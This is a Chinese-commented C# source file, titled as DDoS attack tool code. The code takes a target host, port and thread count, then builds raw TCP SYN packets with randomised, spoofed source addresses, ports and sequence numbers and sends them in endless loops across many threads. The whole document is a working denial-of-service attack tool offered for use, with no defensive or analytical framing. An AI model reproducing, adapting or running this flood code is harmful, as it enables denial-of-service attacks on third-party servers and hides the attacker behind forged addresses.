C# DDOS 攻击工 代码

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
//需要的命名空间不用解释了吧
namespace syn
{
    public struct ipHeader
    {
        public byte ip_verlen; //4位首部长度+4位IP版本号
        public byte ip_tos; //8位服务类型TOS
        public ushort ip_totallength; //16位数据包总长度（字节）
        public ushort ip_id; //16位标识
        public ushort ip_offset; //3位标志位
        public byte ip_ttl; //8位生存时间 TTL
        public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
        public ushort ip_checksum; //16位IP首部校验和
        public uint ip_srcaddr; //32位源IP地址
        public uint ip_destaddr; //32位目的IP地址
    }
    public struct psdHeader
    {
        public uint saddr;  //源地址
        public uint daddr;  //目的地址
        public byte mbz;
        public byte ptcl;     //协议类型
        public ushort tcpl;  //TCP长度
    }
    public struct tcpHeader
    {
        public ushort th_sport;    //16位源端口
        public ushort th_dport;    //16位目的端口
        public int th_seq;   //32位序列号
        public uint th_ack;   //32位确认号
        public byte th_lenres;  //4位首部长度/6位保留字
        public byte th_flag;   //6位标志位
        public ushort th_win;     //16位窗口大小
        public ushort th_sum;     //16位校验和
        public ushort th_urp;     //16位紧急数据偏移量
    }
    //这3个是ip首部tcp伪首部tcp首部的定义。
    public class syn
    {
        private uint ip;
        private ushort port;
        private EndPoint ep;
        private Random rand;
        private Socket sock;
        private ipHeader iph;
        private psdHeader psh;
        private tcpHeader tch;
        public UInt16 checksum(UInt16[] buffer, int size)
        {
            Int32 cksum = 0;
            int counter;
            counter = 0;

            while (size > 0)
            {
                UInt16 val = buffer[counter];

                cksum += Convert.ToInt32(buffer[counter]);
                counter += 1;
                size -= 1;
            }

            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >> 16);
            return (UInt16)(~cksum);
        }
        //这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样
        public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
        {
            ip = _ip;
            port = _port;
            ep = _ep;
            rand = _rand;
            ipHeader iph = new ipHeader();
            psh = new psdHeader();
            tch = new tcpHeader();
            sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
            sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
            //这2个挺重要，必须这样才可以自己提供ip头
        }
        //传参数的多线程需要用到代构造函数的对象。
        static void Main(string[] args)
        {
            Console.WriteLine("1、输入攻击ip或域名");
            try
            {
                IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
                uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
                Console.WriteLine("2、输入攻击端口");
                ushort port = ushort.Parse(Console.ReadLine());
                IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
                byte[] bt = BitConverter.GetBytes(port);
                Array.Reverse(bt);
                port = BitConverter.ToUInt16(bt, 0);
                //要攻击的端口也得转为网络字节序，必须是16位0－65535，如果用hosttonetworkorder就转成32位的了，无奈这样
                Console.WriteLine("3、输入攻击线程，最多50个");
                int xiancheng = Int32.Parse(Console.ReadLine());
                if (xiancheng < 1 || xiancheng > 50)
                {
                    Console.WriteLine("必须在1到50之间");
                    return;
                }
                Random rand = new Random();
                Thread[] t = new Thread[xiancheng];
                syn[] sy = new syn[xiancheng];
                for (int i = 0; i < xiancheng; i++)
                {
                    sy[i] = new syn(ip, port, ep, rand);
                    t[i] = new Thread(new ThreadStart(sy[i].synFS));
                    t[i].Start();
                }
                //一个线程对应一个对象，不知多个线程对应同一个对象行不行，请指点。基础不行啊
            }
            catch
            {
                Console.WriteLine("有错误，请检查是不是连在网上，或者输入是否都正确");
                return;
            }

        }
        unsafe public void synFS()
        {
            iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
            //ipv4，20字节ip头，这个固定就是69
            iph.ip_tos = 0;
            //这个0就行了
            iph.ip_totallength = 0x2800;
            //这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800
            iph.ip_id = 0x9B18;
            //这个我是拦截ie发送。直接添上来了
            iph.ip_offset = 0x40;
            //这个也是拦截ie的
            iph.ip_ttl = 128;
            //也是拦截ie的，也可以是128什么的。
            iph.ip_protocol = 6;
            //6就是tcp协议
            iph.ip_checksum = UInt16.Parse("0");
            //没计算之前都写0
           
            iph.ip_destaddr = ip;
            //ip头的目标地址就是要攻击的地址，上面传过来的。
            psh.daddr = iph.ip_destaddr;
            //伪tcp首部用于校验的，上面是目的地址，和ip的那个一样。
            psh.mbz = 0;
            //这个据说0就行
            psh.ptcl = 6;
            //6是tcp协议
            psh.tcpl = 0x1400;
            //tcp首部的大小，20字节，应该是0014，还是字节序原因成了1400
            tch.th_dport = port;
            //攻击端口号，上面传过来的
            tch.th_ack = 0;
            //第一次发送所以没有服务器返回的序列号，为0
            tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
            //tcp长度
            tch.th_flag = 2;
            //2就是syn
            tch.th_win = ushort.Parse("16614");
            //拦截ie的
            tch.th_sum = UInt16.Parse("0");
            //没计算之前都为0
            tch.th_urp = UInt16.Parse("0");
            //这个连ip都是0，新的攻击方法有改这个值的
            while (true)
            {
               // iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse("61.191.232.232").Address);
                iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
                psh.saddr = iph.ip_srcaddr;
                ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
                byte[] bt = BitConverter.GetBytes(duankou);
                Array.Reverse(bt);
                tch.th_sport = BitConverter.ToUInt16(bt, 0);
                tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
                //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序

                iph.ip_checksum = 0;
                tch.th_sum = 0;
                //因为循环中，所以每次必须把这2个已有数的清0才可计算
                byte[] psh_buf = new byte[sizeof(psdHeader)];
                Int32 index = 0;
                index = pshto(psh, psh_buf, sizeof(psdHeader));
                if (index == -1)
                {
                    Console.WriteLine("构造tcp伪首部错误");
                    return;
                }
                index = 0;
                byte[] tch_buf = new byte[sizeof(tcpHeader)];
                index = tchto(tch, tch_buf, sizeof(tcpHeader));
                if (index == -1)
                {
                    Console.WriteLine("构造tcp首部错误1");
                    return;
                }
                index = 0;
                byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
                Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
                index += psh_buf.Length;
                Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
                index += tch_buf.Length;
                tch.th_sum = chec(tcphe, index);
                index = 0;
                index = tchto(tch, tch_buf, sizeof(tcpHeader));
                if (index == -1)
                {
                    Console.WriteLine("构造tcp首部错误2");
                    return;
                }
                index = 0;
                byte[] ip_buf = new byte[sizeof(ipHeader)];
                index = ipto(iph, ip_buf, sizeof(ipHeader));
                if (index == -1)
                {
                    Console.WriteLine("构造ip首部错误1");
                    return;
                }
                index = 0;
                byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
                Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
                index += ip_buf.Length;
                Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
                index += tch_buf.Length;
                iph.ip_checksum = chec(iptcp, index);
                index = 0;
                index = ipto(iph, ip_buf, sizeof(tcpHeader));
                if (index == -1)
                {
                    Console.WriteLine("构造ip首部错误2");
                    return;
                }
                index = 0;
                Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
                index += ip_buf.Length;
                Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
                index += tch_buf.Length;
                if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
                {
                    Console.WriteLine("构造iptcp报文错误");
                    return;
                }
                //上面这一大堆东西就是计算校验和的方法了，方法是
                //1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和
                //2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节
                //3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和
                //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦
                try
                {
                  

                    sock.SendTo(iptcp, ep);

                    Console.WriteLine("OK");
                    //构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了

                }
                catch (Exception eb)
                {
               
                   Console.WriteLine(eb.Message);
                  
                }

            }

        }
        public UInt16 chec(byte[] buffer, int size)
        {
            Double double_length = Convert.ToDouble(size);
            Double dtemp = Math.Ceiling(double_length / 2);
            int cksum_buffer_length = Convert.ToInt32(dtemp);
            UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
            int icmp_header_buffer_index = 0;
            for (int i = 0; i < cksum_buffer_length; i++)
            {
                cksum_buffer[i] =
                 BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
                icmp_header_buffer_index += 2;
            }
            UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
            return u_cksum;
        }
        //这个是计算校验，把那些类型不一样的全转为16位字节数组用的
        public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
        {
            Int32 rtn = 0;
            int index = 0;
            byte[] b_verlen = new byte[1];
            b_verlen[0] = iph.ip_verlen;
            byte[] b_tos = new byte[1];
            b_tos[0] = iph.ip_tos;
            byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
            byte[] b_id = BitConverter.GetBytes(iph.ip_id);
            byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
            byte[] b_ttl = new byte[1];
            b_ttl[0] = iph.ip_ttl;
            byte[] b_protol = new byte[1];
            b_protol[0] = iph.ip_protocol;
            byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
            byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
            byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
            Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
            index += b_verlen.Length;
            Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
            index += b_tos.Length;
            Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
            index += b_totallen.Length;
            Array.Copy(b_id, 0, Buffer, index, b_id.Length);
            index += b_id.Length;
            Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
            index += b_offset.Length;
            Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
            index += b_ttl.Length;
            Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
            index += b_protol.Length;
            Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
            index += b_checksum.Length;
            Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
            index += b_srcaddr.Length;
            Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
            index += b_destaddr.Length;
            if (index != size/* sizeof(IcmpPacket)  */)
            {
                rtn = -1;
                return rtn;
            }

            rtn = index;
            return rtn;

        }
        //这个是把ip部分转为字节数组用的
        public Int32 pshto(psdHeader psh, byte[] buffer, int size)
        {
            Int32 rtn;
            int index = 0;
            byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
            byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
            byte[] b_psh_mbz = new byte[1];
            b_psh_mbz[0] = psh.mbz;
            byte[] b_psh_ptcl = new byte[1];
            b_psh_ptcl[0] = psh.ptcl;
            byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
            Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
            index += b_psh_saddr.Length;
            Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
            index += b_psh_daddr.Length;
            Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
            index += b_psh_mbz.Length;
            Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
            index += b_psh_ptcl.Length;
            Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
            index += b_psh_tcpl.Length;
            if (index != size)
            {
                rtn = -1;
                return rtn;
            }
            else
            {
                rtn = index;
                return rtn;
            }

        }
        //这个是把tcp伪首部转为字节数组用的
        public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
        {
            Int32 rtn;
            int index = 0;
            byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
            byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
            byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
            byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
            byte[] b_tch_lenres = new byte[1];
            b_tch_lenres[0] = tch.th_lenres;
            byte[] b_tch_flag = new byte[1];
            b_tch_flag[0] = tch.th_flag;
            byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
            byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
            byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
            Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
            index += b_tch_sport.Length;
            Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
            index += b_tch_dport.Length;
            Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
            index += b_tch_seq.Length;
            Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
            index += b_tch_ack.Length;
            Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
            index += b_tch_lenres.Length;
            Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
            index += b_tch_flag.Length;
            Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
            index += b_tch_win.Length;
            Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
            index += b_tch_sum.Length;
            Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
            index += b_tch_urp.Length;
            if (index != size)
            {
                rtn = -1;
                return rtn;
            }
            else
            {
                rtn = index;
                return rtn;
            }
        }
        //这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。
    }
}